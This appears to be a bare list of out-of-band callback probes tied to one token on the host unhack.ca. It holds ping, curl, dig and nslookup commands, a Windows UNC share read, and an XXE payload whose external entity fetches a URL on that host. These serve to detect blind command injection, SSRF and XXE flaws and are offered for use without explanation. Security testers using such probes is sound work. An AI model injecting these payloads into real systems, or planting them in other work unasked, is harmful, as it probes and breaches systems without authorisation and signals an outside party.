$ ping -c1 -p 004873df64539ee08aee13b9c2964900 unhack.ca
 

$ curl http://unhack.ca/p/4873df64539ee08aee13b9c29649
 

$ dig 4873df64539ee08aee13b9c29649 @unhack.ca
 

$ dig 4873df64539ee08aee13b9c29649.ns.unhack.ca
 

C:\> nslookup 4873df64539ee08aee13b9c29649 unhack.ca
 

C:\> type \\unhack.ca\4873df64539ee08aee13b9c29649\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4873df64539ee08aee13b9c29649">]>
    <foo>&xxe;</foo>